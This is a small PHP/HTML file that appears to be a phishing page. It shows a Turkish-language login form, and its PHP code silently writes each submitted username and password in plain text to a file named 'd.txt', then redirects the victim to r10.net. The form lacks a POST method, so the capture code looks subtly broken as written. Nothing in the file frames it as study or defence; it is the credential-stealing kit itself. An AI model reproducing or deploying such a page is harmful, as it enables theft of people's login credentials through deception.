<?php
if($_POST){
$nonsense = $_POST['username']. ':::' . $_POST['password']. PHP_EOL;
$fWrite = fopen("d.txt","at");
$wrote = fwrite($fWrite, $nonsense);
fclose($fWrite);
header('Location: https://www.r10.net');
}
?>

                <div class="kullanici">
<main class="test">
<div class="page-header">
<h1>giriş</h1></div>
<form novalidate="">
<div class="form-group has-error">
<label class="control-label">kullanici<small> (gerekli)</small></label>
<input name="username" class="form-control" value="">
</div>
<div class="form-group">
<label class="control-label">şifre<small> (gerekli)</small></label>
<input name="password" type="password" class="form-control" value="">
</div>

<button type="submit" class="btn btn-primary">giriş</button>

</form></main>
</div>